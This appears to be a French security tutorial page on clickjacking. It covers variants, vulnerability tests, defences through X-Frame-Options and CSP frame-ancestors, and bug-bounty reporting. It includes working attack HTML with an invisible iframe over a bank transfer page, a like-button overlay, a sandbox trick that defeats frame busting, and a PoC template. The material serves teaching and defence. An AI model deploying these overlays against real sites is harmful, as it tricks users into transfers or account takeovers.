Clickjacking et UI Redressing
Le clickjacking (ou UI redressing) est une attaque qui trompe l’utilisateur en lui faisant cliquer sur des éléments d’une page qu’il ne voit pas, superposés sous une interface apparemment anodine.
Principe§
<!-- Page de l'attaquant -->
<html>
<body>
<!-- Interface visible : jeu ou formulaire innocent -->
<div style="position: absolute; z-index: 1;">
<p>Cliquez ici pour gagner un cadeau !</p>
<button style="position: absolute; top: 150px; left: 200px;">CLIQUER</button>
</div>
<!-- Iframe invisible par-dessus : la vraie cible -->
<iframe
src="https://banque.com/virement?montant=500&dest=attaquant"
style="opacity: 0; /* invisible */
position: absolute;
z-index: 2; /* au-dessus de l'interface visible */
top: 100px;
left: 150px;
width: 300px;
height: 200px;">
</iframe>
</body>
</html>
La victime pense cliquer sur le bouton du jeu, mais clique en réalité sur le bouton “Confirmer le virement” de la banque, chargée dans l’iframe invisible.
Variantes§
Likejacking§
<!-- Faire liker une page Facebook sans que l'utilisateur le sache -->
<iframe src="https://facebook.com/plugins/like.php?href=page_attaquant"
style="opacity: 0; position: absolute; ...">
</iframe>
Cursorjacking§
Remplacer le curseur de la souris par un curseur décalé : l’utilisateur voit son curseur à un endroit mais clique à un autre endroit réel.
Filejacking§
<!-- Forcer un clic sur "input type=file" pour ouvrir le sélecteur de fichiers -->
<!-- Puis piéger l'utilisateur pour qu'il glisse un fichier sensible -->
<input type="file" style="opacity: 0; position: absolute; ..." />
Drag-and-drop jacking§
Exploite les événements drag-and-drop pour faire glisser du contenu sensible (token, fichier) vers un contrôle contrôlé par l’attaquant.
Multi-step clickjacking§
Étape 1 : Clique ici → désactive l'authentification 2FA
Étape 2 : Clique ici → confirme le changement d'email
Étape 3 : Clique ici → confirme avec le bouton final
→ Compte compromis en 3 clics "innocents"
Conditions requises§
Pour qu’une page soit vulnérable au clickjacking :
- La cible doit être embeddable dans un
<iframe>(pas deX-Frame-Options) - L’action sensible ne doit pas nécessiter de saisie clavier
- L’action sensible doit être possible depuis un compte authentifié (cookies envoyés dans l’iframe)
Test de vulnérabilité§
# Vérifier les en-têtes HTTP
curl -I https://site.com | grep -i "x-frame-options\|content-security-policy"
# Si aucun des deux n'est présent → potentiellement vulnérable
# Test HTML rapide
cat > test.html << 'EOF'
<html><body>
<iframe src="https://site.com/page-sensible" width="800" height="600"></iframe>
</body></html>
EOF
# Ouvrir dans le navigateur : si la page s'affiche dans l'iframe → vulnérable
# Script de test automatisé
import requests
def check_clickjacking(url):
r = requests.get(url)
xfo = r.headers.get('X-Frame-Options', '').upper()
csp = r.headers.get('Content-Security-Policy', '')
if not xfo and 'frame-ancestors' not in csp:
print(f"VULNERABLE: {url}")
print(" Aucune protection contre le clickjacking")
elif xfo in ('DENY', 'SAMEORIGIN'):
print(f"PROTECTED (X-Frame-Options: {xfo}): {url}")
elif 'frame-ancestors' in csp:
print(f"PROTECTED (CSP frame-ancestors): {url}")
else:
print(f"WEAK ({xfo}): {url}")
Relation avec CSRF§
Le clickjacking peut contourner les protections CSRF dans certains cas :
- Si le token CSRF est transmis via un formulaire dans l’iframe, il reste valide
- Le clickjacking force la soumission du formulaire avec le token légitime de la victime
CSRF token présent → clickjacking peut quand même fonctionner
(si l'action peut être déclenchée par un seul clic)
Cookie SameSite=Strict → protège contre CSRF et réduit l'impact du clickjacking
(mais pas une protection absolue si le site est en même domaine)
Contre-mesures§
X-Frame-Options (ancien, mais encore largement supporté)§
X-Frame-Options: DENY # Aucun iframe autorisé
X-Frame-Options: SAMEORIGIN # Iframe autorisé uniquement depuis le même domaine
X-Frame-Options: ALLOW-FROM https://partenaire.com # Déprécié, non supporté partout
# Flask
@app.after_request
def set_xframe_options(response):
response.headers['X-Frame-Options'] = 'DENY'
return response
# Django (dans settings.py)
X_FRAME_OPTIONS = 'DENY'
Content Security Policy — frame-ancestors (recommandé)§
Plus flexible et moderne que X-Frame-Options.
Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors 'self' https://partenaire.com;
# Flask — CSP complet
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"frame-ancestors 'none';" # Aucun embedding autorisé
)
Frame busting JavaScript (déprécié et contournable)§
// Technique ancienne — ne pas utiliser seule
if (top !== self) {
top.location = self.location;
}
// Facilement contournée avec l'attribut sandbox de l'iframe
<iframe src="cible.com" sandbox="allow-scripts">
// allow-scripts sans allow-top-navigation → le frame busting échoue
Attribut sandbox (côté intégrateur)§
<!-- Si vous devez embarquer du contenu tiers de manière sécurisée -->
<iframe src="https://partenaire.com/widget"
sandbox="allow-scripts allow-same-origin"
<!-- sans allow-forms → les formulaires ne peuvent pas être soumis -->
<!-- sans allow-top-navigation → ne peut pas rediriger la page parente -->
>
</iframe>
Impact et reporting§
Le clickjacking seul est souvent “medium” en bug bounty. Il monte en criticité quand :
- L’action forcée est un changement de mot de passe, email ou d’autres données de compte
- Il peut être chaîné pour un Account Takeover
- Il affecte des fonctions d’administration
Preuves à fournir dans un rapport :
<!-- PoC minimal à fournir -->
<html>
<body style="background:grey;">
<p>Clickjacking PoC — [Nom Entreprise] — [Date]</p>
<p>La cible est chargée dans une iframe ci-dessous (normalement opacity:0)</p>
<iframe src="https://cible.com/action-sensible"
style="opacity:0.5; border:2px solid red;"
width="600" height="400">
</iframe>
</body>
</html>